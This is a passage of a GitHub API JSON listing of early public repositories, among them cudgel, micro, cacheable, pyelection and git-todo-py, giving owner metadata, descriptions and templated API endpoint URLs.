Ruby","fork":false,"url":"https://api.github.com/repos/kballard/dcbot","forks_url":"https://api.github.com/repos/kballard/dcbot/forks","keys_url":"https://api.github.com/repos/kballard/dcbot/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kballard/dcbot/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kballard/dcbot/teams","hooks_url":"https://api.github.com/repos/kballard/dcbot/hooks","issue_events_url":"https://api.github.com/repos/kballard/dcbot/issues/events{/number}","events_url":"https://api.github.com/repos/kballard/dcbot/events","assignees_url":"https://api.github.com/repos/kballard/dcbot/assignees{/user}","branches_url":"https://api.github.com/repos/kballard/dcbot/branches{/branch}","tags_url":"https://api.github.com/repos/kballard/dcbot/tags","blobs_url":"https://api.github.com/repos/kballard/dcbot/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kballard/dcbot/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kballard/dcbot/git/refs{/sha}","trees_url":"https://api.github.com/repos/kballard/dcbot/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kballard/dcbot/statuses/{sha}","languages_url":"https://api.github.com/repos/kballard/dcbot/languages","stargazers_url":"https://api.github.com/repos/kballard/dcbot/stargazers","contributors_url":"https://api.github.com/repos/kballard/dcbot/contributors","subscribers_url":"https://api.github.com/repos/kballard/dcbot/subscribers","subscription_url":"https://api.github.com/repos/kballard/dcbot/subscription","commits_url":"https://api.github.com/repos/kballard/dcbot/commits{/sha}","git_commits_url":"https://api.github.com/repos/kballard/dcbot/git/commits{/sha}","comments_url":"https://api.github.com/repos/kballard/dcbot/comments{/number}","issue_comment_url":"https://api.github.com/repos/kballard/dcbot/issues/comments/{number}","contents_url":"https://api.github.com/repos/kballard/dcbot/contents/{+path}","compare_url":"https://api.github.com/repos/kballard/dcbot/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kballard/dcbot/merges","archive_url":"https://api.github.com/repos/kballard/dcbot/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kballard/dcbot/downloads","issues_url":"https://api.github.com/repos/kballard/dcbot/issues{/number}","pulls_url":"https://api.github.com/repos/kballard/dcbot/pulls{/number}","milestones_url":"https://api.github.com/repos/kballard/dcbot/milestones{/number}","notifications_url":"https://api.github.com/repos/kballard/dcbot/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kballard/dcbot/labels{/name}"},{"id":1076,"name":"cudgel","full_name":"igouss/cudgel","owner":{"login":"igouss","id":339,"avatar_url":"https://0.gravatar.com/avatar/cedb4d8fed66a5365b4ff6a556c3385f?d=https%3A%2F%2Fidenticons.github.com%2F04025959b191f8f9de3f924f0940515f.png","gravatar_id":"cedb4d8fed66a5365b4ff6a556c3385f","url":"https://api.github.com/users/igouss","html_url":"https://github.com/igouss","followers_url":"https://api.github.com/users/igouss/followers","following_url":"https://api.github.com/users/igouss/following{/other_user}","gists_url":"https://api.github.com/users/igouss/gists{/gist_id}","starred_url":"https://api.github.com/users/igouss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/igouss/subscriptions","organizations_url":"https://api.github.com/users/igouss/orgs","repos_url":"https://api.github.com/users/igouss/repos","events_url":"https://api.github.com/users/igouss/events{/privacy}","received_events_url":"https://api.github.com/users/igouss/received_events","type":"User"},"private":false,"html_url":"https://github.com/igouss/cudgel","description":"A short heavy stick","fork":false,"url":"https://api.github.com/repos/igouss/cudgel","forks_url":"https://api.github.com/repos/igouss/cudgel/forks","keys_url":"https://api.github.com/repos/igouss/cudgel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/igouss/cudgel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/igouss/cudgel/teams","hooks_url":"https://api.github.com/repos/igouss/cudgel/hooks","issue_events_url":"https://api.github.com/repos/igouss/cudgel/issues/events{/number}","events_url":"https://api.github.com/repos/igouss/cudgel/events","assignees_url":"https://api.github.com/repos/igouss/cudgel/assignees{/user}","branches_url":"https://api.github.com/repos/igouss/cudgel/branches{/branch}","tags_url":"https://api.github.com/repos/igouss/cudgel/tags","blobs_url":"https://api.github.com/repos/igouss/cudgel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/igouss/cudgel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/igouss/cudgel/git/refs{/sha}","trees_url":"https://api.github.com/repos/igouss/cudgel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/igouss/cudgel/statuses/{sha}","languages_url":"https://api.github.com/repos/igouss/cudgel/languages","stargazers_url":"https://api.github.com/repos/igouss/cudgel/stargazers","contributors_url":"https://api.github.com/repos/igouss/cudgel/contributors","subscribers_url":"https://api.github.com/repos/igouss/cudgel/subscribers","subscription_url":"https://api.github.com/repos/igouss/cudgel/subscription","commits_url":"https://api.github.com/repos/igouss/cudgel/commits{/sha}","git_commits_url":"https://api.github.com/repos/igouss/cudgel/git/commits{/sha}","comments_url":"https://api.github.com/repos/igouss/cudgel/comments{/number}","issue_comment_url":"https://api.github.com/repos/igouss/cudgel/issues/comments/{number}","contents_url":"https://api.github.com/repos/igouss/cudgel/contents/{+path}","compare_url":"https://api.github.com/repos/igouss/cudgel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/igouss/cudgel/merges","archive_url":"https://api.github.com/repos/igouss/cudgel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/igouss/cudgel/downloads","issues_url":"https://api.github.com/repos/igouss/cudgel/issues{/number}","pulls_url":"https://api.github.com/repos/igouss/cudgel/pulls{/number}","milestones_url":"https://api.github.com/repos/igouss/cudgel/milestones{/number}","notifications_url":"https://api.github.com/repos/igouss/cudgel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/igouss/cudgel/labels{/name}"},{"id":1101,"name":"micro","full_name":"seaofclouds/micro","owner":{"login":"seaofclouds","id":708,"avatar_url":"https://2.gravatar.com/avatar/0c5c5a350941044192ff794a9cd2205b?d=https%3A%2F%2Fidenticons.github.com%2Fae0eb3eed39d2bcef4622b2499a05fe6.png","gravatar_id":"0c5c5a350941044192ff794a9cd2205b","url":"https://api.github.com/users/seaofclouds","html_url":"https://github.com/seaofclouds","followers_url":"https://api.github.com/users/seaofclouds/followers","following_url":"https://api.github.com/users/seaofclouds/following{/other_user}","gists_url":"https://api.github.com/users/seaofclouds/gists{/gist_id}","starred_url":"https://api.github.com/users/seaofclouds/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seaofclouds/subscriptions","organizations_url":"https://api.github.com/users/seaofclouds/orgs","repos_url":"https://api.github.com/users/seaofclouds/repos","events_url":"https://api.github.com/users/seaofclouds/events{/privacy}","received_events_url":"https://api.github.com/users/seaofclouds/received_events","type":"User"},"private":false,"html_url":"https://github.com/seaofclouds/micro","description":"blogware that fits in your pocket","fork":false,"url":"https://api.github.com/repos/seaofclouds/micro","forks_url":"https://api.github.com/repos/seaofclouds/micro/forks","keys_url":"https://api.github.com/repos/seaofclouds/micro/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seaofclouds/micro/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seaofclouds/micro/teams","hooks_url":"https://api.github.com/repos/seaofclouds/micro/hooks","issue_events_url":"https://api.github.com/repos/seaofclouds/micro/issues/events{/number}","events_url":"https://api.github.com/repos/seaofclouds/micro/events","assignees_url":"https://api.github.com/repos/seaofclouds/micro/assignees{/user}","branches_url":"https://api.github.com/repos/seaofclouds/micro/branches{/branch}","tags_url":"https://api.github.com/repos/seaofclouds/micro/tags","blobs_url":"https://api.github.com/repos/seaofclouds/micro/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seaofclouds/micro/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seaofclouds/micro/git/refs{/sha}","trees_url":"https://api.github.com/repos/seaofclouds/micro/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seaofclouds/micro/statuses/{sha}","languages_url":"https://api.github.com/repos/seaofclouds/micro/languages","stargazers_url":"https://api.github.com/repos/seaofclouds/micro/stargazers","contributors_url":"https://api.github.com/repos/seaofclouds/micro/contributors","subscribers_url":"https://api.github.com/repos/seaofclouds/micro/subscribers","subscription_url":"https://api.github.com/repos/seaofclouds/micro/subscription","commits_url":"https://api.github.com/repos/seaofclouds/micro/commits{/sha}","git_commits_url":"https://api.github.com/repos/seaofclouds/micro/git/commits{/sha}","comments_url":"https://api.github.com/repos/seaofclouds/micro/comments{/number}","issue_comment_url":"https://api.github.com/repos/seaofclouds/micro/issues/comments/{number}","contents_url":"https://api.github.com/repos/seaofclouds/micro/contents/{+path}","compare_url":"https://api.github.com/repos/seaofclouds/micro/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seaofclouds/micro/merges","archive_url":"https://api.github.com/repos/seaofclouds/micro/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seaofclouds/micro/downloads","issues_url":"https://api.github.com/repos/seaofclouds/micro/issues{/number}","pulls_url":"https://api.github.com/repos/seaofclouds/micro/pulls{/number}","milestones_url":"https://api.github.com/repos/seaofclouds/micro/milestones{/number}","notifications_url":"https://api.github.com/repos/seaofclouds/micro/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seaofclouds/micro/labels{/name}"},{"id":1102,"name":"cacheable","full_name":"tobi/cacheable","owner":{"login":"tobi","id":347,"avatar_url":"https://1.gravatar.com/avatar/44a1b8a3a990e1a496261f55cd44fbd9?d=https%3A%2F%2Fidenticons.github.com%2Fc5ff2543b53f4cc0ad3819a36752467b.png","gravatar_id":"44a1b8a3a990e1a496261f55cd44fbd9","url":"https://api.github.com/users/tobi","html_url":"https://github.com/tobi","followers_url":"https://api.github.com/users/tobi/followers","following_url":"https://api.github.com/users/tobi/following{/other_user}","gists_url":"https://api.github.com/users/tobi/gists{/gist_id}","starred_url":"https://api.github.com/users/tobi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tobi/subscriptions","organizations_url":"https://api.github.com/users/tobi/orgs","repos_url":"https://api.github.com/users/tobi/repos","events_url":"https://api.github.com/users/tobi/events{/privacy}","received_events_url":"https://api.github.com/users/tobi/received_events","type":"User"},"private":false,"html_url":"https://github.com/tobi/cacheable","description":"Page caching extension of Shopify","fork":false,"url":"https://api.github.com/repos/tobi/cacheable","forks_url":"https://api.github.com/repos/tobi/cacheable/forks","keys_url":"https://api.github.com/repos/tobi/cacheable/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tobi/cacheable/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tobi/cacheable/teams","hooks_url":"https://api.github.com/repos/tobi/cacheable/hooks","issue_events_url":"https://api.github.com/repos/tobi/cacheable/issues/events{/number}","events_url":"https://api.github.com/repos/tobi/cacheable/events","assignees_url":"https://api.github.com/repos/tobi/cacheable/assignees{/user}","branches_url":"https://api.github.com/repos/tobi/cacheable/branches{/branch}","tags_url":"https://api.github.com/repos/tobi/cacheable/tags","blobs_url":"https://api.github.com/repos/tobi/cacheable/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tobi/cacheable/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tobi/cacheable/git/refs{/sha}","trees_url":"https://api.github.com/repos/tobi/cacheable/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tobi/cacheable/statuses/{sha}","languages_url":"https://api.github.com/repos/tobi/cacheable/languages","stargazers_url":"https://api.github.com/repos/tobi/cacheable/stargazers","contributors_url":"https://api.github.com/repos/tobi/cacheable/contributors","subscribers_url":"https://api.github.com/repos/tobi/cacheable/subscribers","subscription_url":"https://api.github.com/repos/tobi/cacheable/subscription","commits_url":"https://api.github.com/repos/tobi/cacheable/commits{/sha}","git_commits_url":"https://api.github.com/repos/tobi/cacheable/git/commits{/sha}","comments_url":"https://api.github.com/repos/tobi/cacheable/comments{/number}","issue_comment_url":"https://api.github.com/repos/tobi/cacheable/issues/comments/{number}","contents_url":"https://api.github.com/repos/tobi/cacheable/contents/{+path}","compare_url":"https://api.github.com/repos/tobi/cacheable/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tobi/cacheable/merges","archive_url":"https://api.github.com/repos/tobi/cacheable/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tobi/cacheable/downloads","issues_url":"https://api.github.com/repos/tobi/cacheable/issues{/number}","pulls_url":"https://api.github.com/repos/tobi/cacheable/pulls{/number}","milestones_url":"https://api.github.com/repos/tobi/cacheable/milestones{/number}","notifications_url":"https://api.github.com/repos/tobi/cacheable/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tobi/cacheable/labels{/name}"},{"id":1104,"name":"micro-theme","full_name":"seaofclouds/micro-theme","owner":{"login":"seaofclouds","id":708,"avatar_url":"https://2.gravatar.com/avatar/0c5c5a350941044192ff794a9cd2205b?d=https%3A%2F%2Fidenticons.github.com%2Fae0eb3eed39d2bcef4622b2499a05fe6.png","gravatar_id":"0c5c5a350941044192ff794a9cd2205b","url":"https://api.github.com/users/seaofclouds","html_url":"https://github.com/seaofclouds","followers_url":"https://api.github.com/users/seaofclouds/followers","following_url":"https://api.github.com/users/seaofclouds/following{/other_user}","gists_url":"https://api.github.com/users/seaofclouds/gists{/gist_id}","starred_url":"https://api.github.com/users/seaofclouds/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seaofclouds/subscriptions","organizations_url":"https://api.github.com/users/seaofclouds/orgs","repos_url":"https://api.github.com/users/seaofclouds/repos","events_url":"https://api.github.com/users/seaofclouds/events{/privacy}","received_events_url":"https://api.github.com/users/seaofclouds/received_events","type":"User"},"private":false,"html_url":"https://github.com/seaofclouds/micro-theme","description":"simple blogging theme for mephisto and blogger","fork":false,"url":"https://api.github.com/repos/seaofclouds/micro-theme","forks_url":"https://api.github.com/repos/seaofclouds/micro-theme/forks","keys_url":"https://api.github.com/repos/seaofclouds/micro-theme/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seaofclouds/micro-theme/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seaofclouds/micro-theme/teams","hooks_url":"https://api.github.com/repos/seaofclouds/micro-theme/hooks","issue_events_url":"https://api.github.com/repos/seaofclouds/micro-theme/issues/events{/number}","events_url":"https://api.github.com/repos/seaofclouds/micro-theme/events","assignees_url":"https://api.github.com/repos/seaofclouds/micro-theme/assignees{/user}","branches_url":"https://api.github.com/repos/seaofclouds/micro-theme/branches{/branch}","tags_url":"https://api.github.com/repos/seaofclouds/micro-theme/tags","blobs_url":"https://api.github.com/repos/seaofclouds/micro-theme/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seaofclouds/micro-theme/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seaofclouds/micro-theme/git/refs{/sha}","trees_url":"https://api.github.com/repos/seaofclouds/micro-theme/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seaofclouds/micro-theme/statuses/{sha}","languages_url":"https://api.github.com/repos/seaofclouds/micro-theme/languages","stargazers_url":"https://api.github.com/repos/seaofclouds/micro-theme/stargazers","contributors_url":"https://api.github.com/repos/seaofclouds/micro-theme/contributors","subscribers_url":"https://api.github.com/repos/seaofclouds/micro-theme/subscribers","subscription_url":"https://api.github.com/repos/seaofclouds/micro-theme/subscription","commits_url":"https://api.github.com/repos/seaofclouds/micro-theme/commits{/sha}","git_commits_url":"https://api.github.com/repos/seaofclouds/micro-theme/git/commits{/sha}","comments_url":"https://api.github.com/repos/seaofclouds/micro-theme/comments{/number}","issue_comment_url":"https://api.github.com/repos/seaofclouds/micro-theme/issues/comments/{number}","contents_url":"https://api.github.com/repos/seaofclouds/micro-theme/contents/{+path}","compare_url":"https://api.github.com/repos/seaofclouds/micro-theme/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seaofclouds/micro-theme/merges","archive_url":"https://api.github.com/repos/seaofclouds/micro-theme/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seaofclouds/micro-theme/downloads","issues_url":"https://api.github.com/repos/seaofclouds/micro-theme/issues{/number}","pulls_url":"https://api.github.com/repos/seaofclouds/micro-theme/pulls{/number}","milestones_url":"https://api.github.com/repos/seaofclouds/micro-theme/milestones{/number}","notifications_url":"https://api.github.com/repos/seaofclouds/micro-theme/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seaofclouds/micro-theme/labels{/name}"},{"id":1108,"name":"icaltodoscheduler","full_name":"lypanov/icaltodoscheduler","owner":{"login":"lypanov","id":311,"avatar_url":"https://2.gravatar.com/avatar/fde764988033c802599aa33705dce509?d=https%3A%2F%2Fidenticons.github.com%2F9dfcd5e558dfa04aaf37f137a1d9d3e5.png","gravatar_id":"fde764988033c802599aa33705dce509","url":"https://api.github.com/users/lypanov","html_url":"https://github.com/lypanov","followers_url":"https://api.github.com/users/lypanov/followers","following_url":"https://api.github.com/users/lypanov/following{/other_user}","gists_url":"https://api.github.com/users/lypanov/gists{/gist_id}","starred_url":"https://api.github.com/users/lypanov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lypanov/subscriptions","organizations_url":"https://api.github.com/users/lypanov/orgs","repos_url":"https://api.github.com/users/lypanov/repos","events_url":"https://api.github.com/users/lypanov/events{/privacy}","received_events_url":"https://api.github.com/users/lypanov/received_events","type":"User"},"private":false,"html_url":"https://github.com/lypanov/icaltodoscheduler","description":"iCal To Do scheduler for Leopard","fork":false,"url":"https://api.github.com/repos/lypanov/icaltodoscheduler","forks_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/forks","keys_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/teams","hooks_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/hooks","issue_events_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/issues/events{/number}","events_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/events","assignees_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/assignees{/user}","branches_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/branches{/branch}","tags_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/tags","blobs_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/git/refs{/sha}","trees_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/statuses/{sha}","languages_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/languages","stargazers_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/stargazers","contributors_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/contributors","subscribers_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/subscribers","subscription_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/subscription","commits_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/commits{/sha}","git_commits_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/git/commits{/sha}","comments_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/comments{/number}","issue_comment_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/issues/comments/{number}","contents_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/contents/{+path}","compare_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/merges","archive_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/downloads","issues_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/issues{/number}","pulls_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/pulls{/number}","milestones_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/milestones{/number}","notifications_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lypanov/icaltodoscheduler/labels{/name}"},{"id":1111,"name":"catface","full_name":"jney/catface","owner":{"login":"jney","id":747,"avatar_url":"https://1.gravatar.com/avatar/4b87f676cb6c4d648d71000681823693?d=https%3A%2F%2Fidenticons.github.com%2F8d317bdcf4aafcfc22149d77babee96d.png","gravatar_id":"4b87f676cb6c4d648d71000681823693","url":"https://api.github.com/users/jney","html_url":"https://github.com/jney","followers_url":"https://api.github.com/users/jney/followers","following_url":"https://api.github.com/users/jney/following{/other_user}","gists_url":"https://api.github.com/users/jney/gists{/gist_id}","starred_url":"https://api.github.com/users/jney/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jney/subscriptions","organizations_url":"https://api.github.com/users/jney/orgs","repos_url":"https://api.github.com/users/jney/repos","events_url":"https://api.github.com/users/jney/events{/privacy}","received_events_url":"https://api.github.com/users/jney/received_events","type":"User"},"private":false,"html_url":"https://github.com/jney/catface","description":"jquey plugin: a mix between facebox & catfish. message alert.","fork":false,"url":"https://api.github.com/repos/jney/catface","forks_url":"https://api.github.com/repos/jney/catface/forks","keys_url":"https://api.github.com/repos/jney/catface/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jney/catface/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jney/catface/teams","hooks_url":"https://api.github.com/repos/jney/catface/hooks","issue_events_url":"https://api.github.com/repos/jney/catface/issues/events{/number}","events_url":"https://api.github.com/repos/jney/catface/events","assignees_url":"https://api.github.com/repos/jney/catface/assignees{/user}","branches_url":"https://api.github.com/repos/jney/catface/branches{/branch}","tags_url":"https://api.github.com/repos/jney/catface/tags","blobs_url":"https://api.github.com/repos/jney/catface/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jney/catface/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jney/catface/git/refs{/sha}","trees_url":"https://api.github.com/repos/jney/catface/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jney/catface/statuses/{sha}","languages_url":"https://api.github.com/repos/jney/catface/languages","stargazers_url":"https://api.github.com/repos/jney/catface/stargazers","contributors_url":"https://api.github.com/repos/jney/catface/contributors","subscribers_url":"https://api.github.com/repos/jney/catface/subscribers","subscription_url":"https://api.github.com/repos/jney/catface/subscription","commits_url":"https://api.github.com/repos/jney/catface/commits{/sha}","git_commits_url":"https://api.github.com/repos/jney/catface/git/commits{/sha}","comments_url":"https://api.github.com/repos/jney/catface/comments{/number}","issue_comment_url":"https://api.github.com/repos/jney/catface/issues/comments/{number}","contents_url":"https://api.github.com/repos/jney/catface/contents/{+path}","compare_url":"https://api.github.com/repos/jney/catface/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jney/catface/merges","archive_url":"https://api.github.com/repos/jney/catface/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jney/catface/downloads","issues_url":"https://api.github.com/repos/jney/catface/issues{/number}","pulls_url":"https://api.github.com/repos/jney/catface/pulls{/number}","milestones_url":"https://api.github.com/repos/jney/catface/milestones{/number}","notifications_url":"https://api.github.com/repos/jney/catface/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jney/catface/labels{/name}"},{"id":1124,"name":"pyelection","full_name":"alex/pyelection","owner":{"login":"alex","id":772,"avatar_url":"https://2.gravatar.com/avatar/edcdfd5affb524e0f88ec1a00ed3fe5d?d=https%3A%2F%2Fidenticons.github.com%2Fe57c6b956a6521b28495f2886ca0977a.png","gravatar_id":"edcdfd5affb524e0f88ec1a00ed3fe5d","url":"https://api.github.com/users/alex","html_url":"https://github.com/alex","followers_url":"https://api.github.com/users/alex/followers","following_url":"https://api.github.com/users/alex/following{/other_user}","gists_url":"https://api.github.com/users/alex/gists{/gist_id}","starred_url":"https://api.github.com/users/alex/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alex/subscriptions","organizations_url":"https://api.github.com/users/alex/orgs","repos_url":"https://api.github.com/users/alex/repos","events_url":"https://api.github.com/users/alex/events{/privacy}","received_events_url":"https://api.github.com/users/alex/received_events","type":"User"},"private":false,"html_url":"https://github.com/alex/pyelection","description":"A python application for following the US primaries","fork":false,"url":"https://api.github.com/repos/alex/pyelection","forks_url":"https://api.github.com/repos/alex/pyelection/forks","keys_url":"https://api.github.com/repos/alex/pyelection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/alex/pyelection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/alex/pyelection/teams","hooks_url":"https://api.github.com/repos/alex/pyelection/hooks","issue_events_url":"https://api.github.com/repos/alex/pyelection/issues/events{/number}","events_url":"https://api.github.com/repos/alex/pyelection/events","assignees_url":"https://api.github.com/repos/alex/pyelection/assignees{/user}","branches_url":"https://api.github.com/repos/alex/pyelection/branches{/branch}","tags_url":"https://api.github.com/repos/alex/pyelection/tags","blobs_url":"https://api.github.com/repos/alex/pyelection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/alex/pyelection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/alex/pyelection/git/refs{/sha}","trees_url":"https://api.github.com/repos/alex/pyelection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/alex/pyelection/statuses/{sha}","languages_url":"https://api.github.com/repos/alex/pyelection/languages","stargazers_url":"https://api.github.com/repos/alex/pyelection/stargazers","contributors_url":"https://api.github.com/repos/alex/pyelection/contributors","subscribers_url":"https://api.github.com/repos/alex/pyelection/subscribers","subscription_url":"https://api.github.com/repos/alex/pyelection/subscription","commits_url":"https://api.github.com/repos/alex/pyelection/commits{/sha}","git_commits_url":"https://api.github.com/repos/alex/pyelection/git/commits{/sha}","comments_url":"https://api.github.com/repos/alex/pyelection/comments{/number}","issue_comment_url":"https://api.github.com/repos/alex/pyelection/issues/comments/{number}","contents_url":"https://api.github.com/repos/alex/pyelection/contents/{+path}","compare_url":"https://api.github.com/repos/alex/pyelection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/alex/pyelection/merges","archive_url":"https://api.github.com/repos/alex/pyelection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/alex/pyelection/downloads","issues_url":"https://api.github.com/repos/alex/pyelection/issues{/number}","pulls_url":"https://api.github.com/repos/alex/pyelection/pulls{/number}","milestones_url":"https://api.github.com/repos/alex/pyelection/milestones{/number}","notifications_url":"https://api.github.com/repos/alex/pyelection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/alex/pyelection/labels{/name}"},{"id":1126,"name":"git-todo-py","full_name":"lydgate/git-todo-py","owner":{"login":"lydgate","id":771,"avatar_url":"https://2.gravatar.com/avatar/6f0880ac5ed12ad4b40e5befd00032bd?d=https%3A%2F%2Fidenticons.github.com%2Fb7ee6f5f9aa5cd17ca1aea43ce848496.png","gravatar_id":"6f0880ac5ed12ad4b40e5befd00032bd","url":"https://api.github.com/users/lydgate","html_url":"https://github.com/lydgate","followers_url":"https://api.github.com/users/lydgate/followers","following_url":"https://api.github.com/users/lydgate/following{/other_user}","gists_url":"https://api.github.com/users/lydgate/gists{/gist_id}","starred_url":"https://api.github.com/users/lydgate/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lydgate/subscriptions","organizations_url":"https://api.github.com/users/lydgate/orgs","repos_url":"https://api.github.com/users/lydgate/repos","events_url":"https://api.github.com/users/lydgate/events{/privacy}","received_events_url":"https://api.github.com/users/lydgate/received_events","type":"User"},"private":false,"html_url":"https://github.com/lydgate/git-todo-py","description":"A fork of todo.py that commits all changes into a git repository.","fork":false,"url":"https://api.github.com/repos/lydgate/git-todo-py","forks_url":"https://api.github.com/repos/lydgate/git-todo-py/forks","keys_url":"https://api.github.com/repos/lydgate/git-todo-py/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lydgate/git-todo-py/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lydgate/git-todo-py/teams","hooks_url":"https://api.github.com/repos/lydgate/git-todo-py/hooks","issue_events_url":"https://api.github.com/repos/lydgate/git-todo-py/issues/events{/number}","events_url":"https://api.github.com/repos/lydgate/git-todo-py/events","assignees_url":"https://api.github.com/repos/lydgate/git-todo-py/assignees{/user}","branches_url":"https://api.github.com/repos/lydgate/git-todo-py/branches{/branch}","tags_url":"https://api.github.com/repos/lydgate/git-todo-py/tags","blobs_url":"https://api.github.com/repos/lydgate/git-todo-py/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lydgate/git-todo-py/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lydgate/git-todo-py/git/refs{/sha}","trees_url":"https://api.github.com/repos/lydgate/git-todo-py/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lydgate/git-todo-py/statuses/{sha}","languages_url":"https://api.github.com/repos/lydgate/git-todo-py/languages","stargazers_url":"https://api.github.com/repos/lydgate/git-todo-py/stargazers","contributors_url":"https://api.github.com/repos/lydgate/git-todo-py/contributors","subscribers_url":"https://api.github.com/repos/lydgate/git-todo-py/subscribers","subscription_url":"https://api.github.com/repos/lydgate/git-todo-py/subscription","commits_url":"https://api.github.com/repos/lydgate/git-todo-py/commits{/sha}","git_commits_url":"https://api.github.com/repos/lydgate/git-todo-py/git/commits{/sha}","comments_url":"https://api.github.com/repos/lydgate/git-todo-py/comments{/number}","issue_comment_url":"https://api.github.com/repos/lydgate/git-todo-py/issues/comments/{number}","contents_url":"https://api.github.com/repos/lydgate/git-todo-py/contents/{+path}","compare_url":"https://api.github.com/repos/lydgate/git-todo-py/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lydgate/git-todo-py/merges","archive_url":"https://api.github.com/repos/lydgate/git-todo-py/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lydgate/git-todo-py/downloads","issues_url":"https://api.github.com/repos/lydgate/git-todo-py/issues{/number}","pulls_url":"https://api.github.com/repos/lydgate/git-todo-py/pulls{/number}","milestones_url":"https://api.github.com/rep